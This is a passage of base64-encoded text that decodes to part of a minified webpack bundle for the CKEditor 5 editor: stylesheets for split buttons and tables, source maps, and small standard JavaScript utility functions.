0b25fX2Fycm93IHtcblx0XHQvKiBJdFwncyBhIHRleHQtbGVzcyBidXR0b24gYW5kIHNpbmNlIHRoZSBpY29uIGlzIHBvc2l0aW9uZWQgYWJzb2x1dGVseSBpbiBzdWNoIHNpdHVhdGlvbixcblx0XHRpdCBtdXN0IGdldCBzb21lIGFyYml0cmFyeSBtaW4td2lkdGguICovXG5cdFx0bWluLXdpZHRoOiB1bnNldDtcblxuXHRcdEBuZXN0IFtkaXI9Imx0ciJdICYge1xuXHRcdFx0LyogRG9uXCd0IHJvdW5kIHRoZSBhcnJvdyBidXR0b24gb24gdGhlIGxlZnQgc2lkZSAqL1xuXHRcdFx0QG1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0XHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IHVuc2V0O1xuXHRcdFx0XHRib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiB1bnNldDtcblx0XHRcdH1cblx0XHR9XG5cblx0XHRAbmVzdCBbZGlyPSJydGwiXSAmIHtcblx0XHRcdC8qIERvblwndCByb3VuZCB0aGUgYXJyb3cgYnV0dG9uIG9uIHRoZSByaWdodCBzaWRlICovXG5cdFx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogdW5zZXQ7XG5cdFx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogdW5zZXQ7XG5cdFx0fVxuXG5cdFx0JiBzdmcge1xuXHRcdFx0d2lkdGg6IHZhcigtLWNrLWRyb3Bkb3duLWFycm93LXNpemUpO1xuXHRcdH1cblx0fVxuXG5cdC8qIFdoZW4gdGhlIHNwbGl0IGJ1dHRvbiBpcyAib3BlbiIgKHRoZSBhcnJvdyBpcyBvbikgb3IgYmVpbmcgaG92ZXJlZCwgaXQgc2hvdWxkIGdldCBzb21lIHN0eWxpbmdcblx0YXMgYSB3aG9sZS4gVGhlIGJhY2tncm91bmQgb2YgYm90aCBidXR0b25zIHNob3VsZCBzdGFuZCBvdXQgYW5kIHRoZXJlIHNob3VsZCBiZSBhIHZpc3VhbFxuXHRzZXBhcmF0aW9uIGJldHdlZW4gYm90aCBidXR0b25zLiAqL1xuXHQmLmNrLXNwbGl0YnV0dG9uX29wZW4sXG5cdCY6aG92ZXIge1xuXHRcdC8qIFdoZW4gdGhlIHNwbGl0IGJ1dHRvbiBob3ZlcmVkIGFzIGEgd2hvbGUsIG5vdCBhcyBpbmRpdmlkdWFsIGJ1dHRvbnMuICovXG5cdFx0JiA+IC5jay1idXR0b246bm90KC5jay1vbik6bm90KC5jay1kaXNhYmxlZCk6bm90KDpob3Zlcikge1xuXHRcdFx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3Itc3BsaXQtYnV0dG9uLWhvdmVyLWJhY2tncm91bmQpO1xuXHRcdH1cblxuXHRcdEBuZXN0IFtkaXI9Imx0ciJdICYge1xuXHRcdFx0JiA+IC5jay1zcGxpdGJ1dHRvbl9fYXJyb3c6bm90KC5jay1kaXNhYmxlZCkge1xuXHRcdFx0XHRib3JkZXItbGVmdC1jb2xvcjogdmFyKC0tY2stY29sb3Itc3BsaXQtYnV0dG9uLWhvdmVyLWJvcmRlcik7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0QG5lc3QgW2Rpcj0icnRsIl0gJiB7XG5cdFx0XHQmID4gLmNrLXNwbGl0YnV0dG9uX19hcnJvdzpub3QoLmNrLWRpc2FibGVkKSB7XG5cdFx0XHRcdGJvcmRlci1yaWdodC1jb2xvcjogdmFyKC0tY2stY29sb3Itc3BsaXQtYnV0dG9uLWhvdmVyLWJvcmRlcik7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0LyogRG9uXCd0IHJvdW5kIHRoZSBib3R0b20gbGVmdCBhbmQgcmlnaHQgY29ybmVycyBvZiB0aGUgYnV0dG9ucyB3aGVuICJvcGVuIlxuXHRodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy84MTYgKi9cblx0Ji5jay1zcGxpdGJ1dHRvbl9vcGVuIHtcblx0XHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRcdCYgPiAuY2stc3BsaXRidXR0b25fX2FjdGlvbiB7XG5cdFx0XHRcdGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDA7XG5cdFx0XHR9XG5cblx0XHRcdCYgPiAuY2stc3BsaXRidXR0b25fX2Fycm93IHtcblx0XHRcdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogSW1wbGVtZW50cyByb3VuZGVkIGNvcm5lciBpbnRlcmZhY2UgZm9yIC5jay1yb3VuZGVkLWNvcm5lcnMgY2xhc3MuXG4gKlxuICogQHNlZSAkY2stYm9yZGVyLXJhZGl1c1xuICovXG5AZGVmaW5lLW1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdGJvcmRlci1yYWRpdXM6IDA7XG5cblx0QG5lc3QgLmNrLXJvdW5kZWQtY29ybmVycyAmLFxuXHQmLmNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0Ym9yZGVyLXJhZGl1czogdmFyKC0tY2stYm9yZGVyLXJhZGl1cyk7XG5cdFx0QG1peGluLWNvbnRlbnQ7XG5cdH1cbn1cbiJdLHNvdXJjZVJvb3Q6IiJ9XSk7ZVsiYSJdPWF9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7dmFyIGk9bigyKTt2YXIgbz1uLm4oaSk7dmFyIHI9bigzKTt2YXIgcz1uLm4ocik7dmFyIGE9cygpKG8uYSk7YS5wdXNoKFt0LmksIi5jayAuY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duX19ncmlke2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpyb3c7ZmxleC13cmFwOndyYXB9OnJvb3R7LS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tcGFkZGluZzoxMHB4Oy0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLWJveC1oZWlnaHQ6MTFweDstLWNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ib3gtd2lkdGg6MTJweDstLWNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ib3gtbWFyZ2luOjFweH0uY2sgLmNrLWluc2VydC10YWJsZS1kcm9wZG93bl9fZ3JpZHt3aWR0aDpjYWxjKHZhcigtLWNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ib3gtd2lkdGgpKjEwICsgdmFyKC0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLWJveC1tYXJnaW4pKjIwICsgdmFyKC0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLXBhZGRpbmcpKjIpO3BhZGRpbmc6dmFyKC0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLXBhZGRpbmcpIHZhcigtLWNrLWluc2VydC10YWJsZS1kcm9wZG93bi1wYWRkaW5nKSAwfS5jayAuY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duX19sYWJlbHt0ZXh0LWFsaWduOmNlbnRlcn0uY2sgLmNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ncmlkLWJveHt3aWR0aDp2YXIoLS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tYm94LXdpZHRoKTtoZWlnaHQ6dmFyKC0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLWJveC1oZWlnaHQpO21hcmdpbjp2YXIoLS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tYm94LW1hcmdpbik7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1iYXNlLWJvcmRlcik7Ym9yZGVyLXJhZGl1czoxcHh9LmNrIC5jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tZ3JpZC1ib3guY2stb257Ym9yZGVyLWNvbG9yOnZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlcik7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1mb2N1cy1vdXRlci1zaGFkb3cpfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGFibGUvdGhlbWUvaW5zZXJ0dGFibGUuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdGFibGUvaW5zZXJ0dGFibGUuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBS0Esb0NBQ0MsWUFBYSxDQUNiLGtCQUFtQixDQUNuQixjQUNELENDSkEsTUFDQyx1Q0FBd0MsQ0FDeEMsMENBQTJDLENBQzNDLHlDQUEwQyxDQUMxQyx5Q0FDRCxDQUVBLG9DQUVDLG9KQUEySixDQUMzSix5RkFDRCxDQUVBLHFDQUNDLGlCQUNELENBRUEsdUNBQ0MsK0NBQWdELENBQ2hELGlEQUFrRCxDQUNsRCxpREFBa0QsQ0FDbEQsNENBQTZDLENBQzdDLGlCQU1ELENBSkMsNkNBQ0MseUNBQTBDLENBQzFDLDZDQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrIC5jay1pbnNlcnQtdGFibGUtZHJvcGRvd25fX2dyaWQge1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogcm93O1xuXHRmbGV4LXdyYXA6IHdyYXA7XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbjpyb290IHtcblx0LS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tcGFkZGluZzogMTBweDtcblx0LS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tYm94LWhlaWdodDogMTFweDtcblx0LS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tYm94LXdpZHRoOiAxMnB4O1xuXHQtLWNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ib3gtbWFyZ2luOiAxcHg7XG59XG5cbi5jayAuY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duX19ncmlkIHtcblx0LyogVGhlIHdpZHRoIG9mIGEgY29udGFpbmVyIHNob3VsZCBtYXRjaCAxMCBpdGVtcyBpbiBhIHJvdyBzbyB0aGVyZSB3aWxsIGJlIGEgMTB4MTAgZ3JpZC4gKi9cblx0d2lkdGg6IGNhbGModmFyKC0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLWJveC13aWR0aCkgKiAxMCArIHZhcigtLWNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ib3gtbWFyZ2luKSAqIDIwICsgdmFyKC0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLXBhZGRpbmcpICogMik7XG5cdHBhZGRpbmc6IHZhcigtLWNrLWluc2VydC10YWJsZS1kcm9wZG93bi1wYWRkaW5nKSB2YXIoLS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tcGFkZGluZykgMDtcbn1cblxuLmNrIC5jay1pbnNlcnQtdGFibGUtZHJvcGRvd25fX2xhYmVsIHtcblx0dGV4dC1hbGlnbjogY2VudGVyO1xufVxuXG4uY2sgLmNrLWluc2VydC10YWJsZS1kcm9wZG93bi1ncmlkLWJveCB7XG5cdHdpZHRoOiB2YXIoLS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tYm94LXdpZHRoKTtcblx0aGVpZ2h0OiB2YXIoLS1jay1pbnNlcnQtdGFibGUtZHJvcGRvd24tYm94LWhlaWdodCk7XG5cdG1hcmdpbjogdmFyKC0tY2staW5zZXJ0LXRhYmxlLWRyb3Bkb3duLWJveC1tYXJnaW4pO1xuXHRib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1iYXNlLWJvcmRlcik7XG5cdGJvcmRlci1yYWRpdXM6IDFweDtcblxuXHQmLmNrLW9uIHtcblx0XHRib3JkZXItY29sb3I6IHZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlcik7XG5cdFx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItZm9jdXMtb3V0ZXItc2hhZG93KTtcblx0fVxufVxuXG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCc6cm9vdHstLWNrLXRhYmxlLXNlbGVjdGVkLWNlbGwtYmFja2dyb3VuZDpyZ2JhKDE1OCwyMDcsMjUwLDAuMyl9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLnRhYmxlIHRhYmxlIHRkLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQsLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLnRhYmxlIHRhYmxlIHRoLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWR7cG9zaXRpb246cmVsYXRpdmU7Y2FyZXQtY29sb3I6dHJhbnNwYXJlbnQ7b3V0bGluZTp1bnNldDtib3gtc2hhZG93OnVuc2V0fS5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC50YWJsZSB0YWJsZSB0ZC5jay1lZGl0b3JfX2VkaXRhYmxlX3NlbGVjdGVkOmFmdGVyLC5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC50YWJsZSB0YWJsZSB0aC5jay1lZGl0b3JfX2VkaXRhYmxlX3NlbGVjdGVkOmFmdGVye2NvbnRlbnQ6IiI7cG9pbnRlci1ldmVudHM6bm9uZTtiYWNrZ3JvdW5kLWNvbG9yOnZhcigtLWNrLXRhYmxlLXNlbGVjdGVkLWNlbGwtYmFja2dyb3VuZCk7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3JpZ2h0OjA7Ym90dG9tOjB9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLnRhYmxlIHRhYmxlIHRkLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQgOjpzZWxlY3Rpb24sLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLnRhYmxlIHRhYmxlIHRkLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQ6Zm9jdXMsLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLnRhYmxlIHRhYmxlIHRoLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQgOjpzZWxlY3Rpb24sLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLnRhYmxlIHRhYmxlIHRoLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQ6Zm9jdXN7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudH0uY2suY2stZWRpdG9yX19lZGl0YWJsZSAudGFibGUgdGFibGUgdGQuY2stZWRpdG9yX19lZGl0YWJsZV9zZWxlY3RlZCAuY2std2lkZ2V0X3NlbGVjdGVkLC5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC50YWJsZSB0YWJsZSB0aC5jay1lZGl0b3JfX2VkaXRhYmxlX3NlbGVjdGVkIC5jay13aWRnZXRfc2VsZWN0ZWR7b3V0bGluZTp1bnNldH0nLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXRhYmxlL3RhYmxlc2VsZWN0aW9uLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQUtBLE1BQ0MseURBQ0QsQ0FHQywwSUFFQyxpQkFBa0IsQ0FDbEIsdUJBQXdCLENBQ3hCLGFBQWMsQ0FDZCxnQkFzQkQsQ0FuQkMsc0pBQ0MsVUFBVyxDQUNYLG1CQUFvQixDQUNwQix5REFBMEQsQ0FDMUQsaUJBQWtCLENBQ2xCLEtBQU0sQ0FDTixNQUFPLENBQ1AsT0FBUSxDQUNSLFFBQ0QsQ0FFQSx3VEFFQyw0QkFDRCxDQUVBLGtMQUNDLGFBQ0QiLHNvdXJjZXNDb250ZW50OlsiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG46cm9vdCB7XG5cdC0tY2stdGFibGUtc2VsZWN0ZWQtY2VsbC1iYWNrZ3JvdW5kOiBoc2xhKDIwOCwgOTAlLCA4MCUsIC4zKTtcbn1cblxuLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLnRhYmxlIHRhYmxlIHtcblx0JiB0ZC5jay1lZGl0b3JfX2VkaXRhYmxlX3NlbGVjdGVkLFxuXHQmIHRoLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQge1xuXHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRjYXJldC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0b3V0bGluZTogdW5zZXQ7XG5cdFx0Ym94LXNoYWRvdzogdW5zZXQ7XG5cblx0XHQvKiBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy82NDQ2ICovXG5cdFx0JjphZnRlciB7XG5cdFx0XHRjb250ZW50OiAnJztcblx0XHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogdmFyKC0tY2stdGFibGUtc2VsZWN0ZWQtY2VsbC1iYWNrZ3JvdW5kKTtcblx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdHRvcDogMDtcblx0XHRcdGxlZnQ6IDA7XG5cdFx0XHRyaWdodDogMDtcblx0XHRcdGJvdHRvbTogMDtcblx0XHR9XG5cblx0XHQmIDo6c2VsZWN0aW9uLFxuXHRcdCY6Zm9jdXMge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0fVxuXG5cdFx0JiAuY2std2lkZ2V0X3NlbGVjdGVkIHtcblx0XHRcdG91dGxpbmU6IHVuc2V0O1xuXHRcdH1cblx0fVxufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLWNvbnRlbnQgLnRhYmxle21hcmdpbjoxZW0gYXV0bztkaXNwbGF5OnRhYmxlfS5jay1jb250ZW50IC50YWJsZSB0YWJsZXtib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7Ym9yZGVyLXNwYWNpbmc6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JvcmRlcjoxcHggZG91YmxlICNiM2IzYjN9LmNrLWNvbnRlbnQgLnRhYmxlIHRhYmxlIHRkLC5jay1jb250ZW50IC50YWJsZSB0YWJsZSB0aHttaW4td2lkdGg6MmVtO3BhZGRpbmc6LjRlbTtib3JkZXI6MXB4IHNvbGlkICNiZmJmYmZ9LmNrLWNvbnRlbnQgLnRhYmxlIHRhYmxlIHRoe2ZvbnQtd2VpZ2h0OjcwMDtiYWNrZ3JvdW5kOmhzbGEoMCwwJSwwJSw1JSl9LmNrLWNvbnRlbnRbZGlyPXJ0bF0gLnRhYmxlIHRoe3RleHQtYWxpZ246cmlnaHR9LmNrLWNvbnRlbnRbZGlyPWx0cl0gLnRhYmxlIHRoe3RleHQtYWxpZ246bGVmdH0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRhYmxlL3RoZW1lL3RhYmxlLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQUtBLG1CQUVDLGVBQWdCLENBQ2hCLGFBZ0NELENBOUJDLHlCQUVDLHdCQUF5QixDQUN6QixnQkFBaUIsQ0FJakIsVUFBVyxDQUNYLFdBQVksQ0FJWix5QkFpQkQsQ0FmQyx3REFFQyxhQUFjLENBQ2QsWUFBYSxDQUtiLHdCQUNELENBRUEsNEJBQ0MsZUFBaUIsQ0FDakIsMkJBQ0QsQ0FNRiwrQkFDQyxnQkFDRCxDQUVBLCtCQUNDLGVBQ0QiLHNvdXJjZXNDb250ZW50OlsnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4uY2stY29udGVudCAudGFibGUge1xuXHQvKiBHaXZlIHRoZSB0YWJsZSB3aWRnZXQgc29tZSBhaXIgYW5kIGNlbnRlciBpdCBob3Jpem9udGFsbHkgKi9cblx0bWFyZ2luOiAxZW0gYXV0bztcblx0ZGlzcGxheTogdGFibGU7XG5cblx0JiB0YWJsZSB7XG5cdFx0LyogVGhlIHRhYmxlIGNlbGxzIHNob3VsZCBoYXZlIHNsaWdodCBib3JkZXJzICovXG5cdFx0Ym9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcblx0XHRib3JkZXItc3BhY2luZzogMDtcblxuXHRcdC8qIFRhYmxlIHdpZHRoIGFuZCBoZWlnaHQgYXJlIHNldCBvbiB0aGUgcGFyZW50IDxmaWd1cmU+LiBNYWtlIHN1cmUgdGhlIHRhYmxlIGluc2lkZSBzdHJldGNoZXNcblx0XHR0byB0aGUgZnVsbCBkaW1lbnNpb25zIG9mIHRoZSBjb250YWluZXIgKGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzYxODYpLiAqL1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGhlaWdodDogMTAwJTtcblxuXHRcdC8qIFRoZSBvdXRlciBib3JkZXIgb2YgdGhlIHRhYmxlIHNob3VsZCBiZSBzbGlnaHRseSBkYXJrZXIgdGhhbiB0aGUgaW5uZXIgbGluZXMuXG5cdFx0QWxzbyBzZWUgaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS10YWJsZS9pc3N1ZXMvNTAuICovXG5cdFx0Ym9yZGVyOiAxcHggZG91YmxlIGhzbCgwLCAwJSwgNzAlKTtcblxuXHRcdCYgdGQsXG5cdFx0JiB0aCB7XG5cdFx0XHRtaW4td2lkdGg6IDJlbTtcblx0XHRcdHBhZGRpbmc6IC40ZW07XG5cblx0XHRcdC8qIFRoZSBib3JkZXIgaXMgaW5oZXJpdGVkIGZyb20gLmNrLWVkaXRvcl9fbmVzdGVkLWVkaXRhYmxlIHN0eWxlcywgc28gdGhlb3JldGljYWxseSBpdFwncyBub3QgbmVjZXNzYXJ5IGhlcmUuXG5cdFx0XHRIb3dldmVyLCB0aGUgYm9yZGVyIGlzIGEgY29udGVudCBzdHlsZSwgc28gaXQgc2hvdWxkIHVzZSAuY2stY29udGVudCAoc28gaXQgd29ya3Mgb3V0c2lkZSB0aGUgZWRpdG9yKS5cblx0XHRcdEhlbmNlLCB0aGUgZHVwbGljYXRpb24uIFNlZSBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy82MzE0ICovXG5cdFx0XHRib3JkZXI6IDFweCBzb2xpZCBoc2woMCwgMCUsIDc1JSk7XG5cdFx0fVxuXG5cdFx0JiB0aCB7XG5cdFx0XHRmb250LXdlaWdodDogYm9sZDtcblx0XHRcdGJhY2tncm91bmQ6IGhzbGEoMCwgMCUsIDAlLCA1JSk7XG5cdFx0fVxuXHR9XG59XG5cbi8qIFRleHQgYWxpZ25tZW50IG9mIHRoZSB0YWJsZSBoZWFkZXIgc2hvdWxkIG1hdGNoIHRoZSBlZGl0b3Igc2V0dGluZ3MgYW5kIG92ZXJyaWRlIHRoZSBuYXRpdmUgYnJvd3NlciBzdHlsaW5nLFxud2hlbiBjb250ZW50IGlzIGF2YWlsYWJsZSBvdXRzaWRlIHRoZSBlZGlpdG9yLiBTZWUgaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS9pc3N1ZXMvNjYzOCAqL1xuLmNrLWNvbnRlbnRbZGlyPSJydGwiXSAudGFibGUgdGgge1xuXHR0ZXh0LWFsaWduOiByaWdodDtcbn1cblxuLmNrLWNvbnRlbnRbZGlyPSJsdHIiXSAudGFibGUgdGgge1xuXHR0ZXh0LWFsaWduOiBsZWZ0O1xufVxuJ10sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlKXt2YXIgbjtuPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCk7dHJ5e249bnx8bmV3IEZ1bmN0aW9uKCJyZXR1cm4gdGhpcyIpKCl9Y2F0Y2godCl7aWYodHlwZW9mIHdpbmRvdz09PSJvYmplY3QiKW49d2luZG93fXQuZXhwb3J0cz1ufSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIGkoKXtyZXR1cm4gZmFsc2V9ZVsiYSJdPWl9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7bi5yKGUpO3ZhciBpPW4oNSk7dmFyIG89aVsiYSJdLlN5bWJvbDt2YXIgcj1vO3ZhciBzPU9iamVjdC5wcm90b3R5cGU7dmFyIGE9cy5oYXNPd25Qcm9wZXJ0eTt2YXIgYz1zLnRvU3RyaW5nO3ZhciBsPXI/ci50b1N0cmluZ1RhZzp1bmRlZmluZWQ7ZnVuY3Rpb24gZCh0KXt2YXIgZT1hLmNhbGwodCxsKSxuPXRbbF07dHJ5e3RbbF09dW5kZWZpbmVkO3ZhciBpPXRydWV9Y2F0Y2godCl7fXZhciBvPWMuY2FsbCh0KTtpZihpKXtpZihlKXt0W2xdPW59ZWxzZXtkZWxldGUgdFtsXX19cmV0dXJuIG99dmFyIHU9ZDt2YXIgaD1PYmplY3QucHJvdG90eXBlO3ZhciBmPWgudG9TdHJpbmc7ZnVuY3Rpb24gbSh0KXtyZXR1cm4gZi5jYWxsKHQpfXZhciBnPW07dmFyIHA9IltvYmplY3QgTnVsbF0iLGs9IltvYmplY3QgVW5kZWZpbmVkXSI7dmFyIGI9cj9yLnRvU3RyaW5nVGFnOnVuZGVmaW5lZDtmdW5jdGlvbiB3KHQpe2lmKHQ9PW51bGwpe3JldHVybiB0PT09dW5kZWZpbmVkP2s6cH1yZXR1cm4gYiYmYiBpbiBPYmplY3QodCk/dSh0KTpnKHQpfXZhciBDPXc7ZnVuY3Rpb24gQSh0LGUpe3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gdChlKG4pKX19dmFyIF89QTt2YXIgdj1fKE9iamVjdC5nZXRQcm90b3R5cGVPZixPYmplY3QpO3ZhciB5PXY7ZnVuY3Rpb24geCh0KXtyZXR1cm4gdCE9bnVsbCYmdHlwZW9mIHQ9PSJvYmplY3QifXZhciBEPXg7dmFyIEU9IltvYmplY3QgT2JqZWN0XSI7dmFyIE09RnVuY3Rpb24ucHJvdG90eXBlLFM9T2JqZWN0LnByb3RvdHlwZTt2YXIgVD1NLnRvU3RyaW5nO3ZhciBJPVMuaGFzT3duUHJvcGVydHk7dmFyIE49VC5jYWxsKE9iamVjdCk7ZnVuY3Rpb24gQih0KXtpZighRCh0KXx8Qyh0KSE9RSl7cmV0dXJuIGZhbHNlfXZhciBlPXkodCk7aWYoZT09PW51bGwpe3JldHVybiB0cnVlfXZhciBuPUkuY2F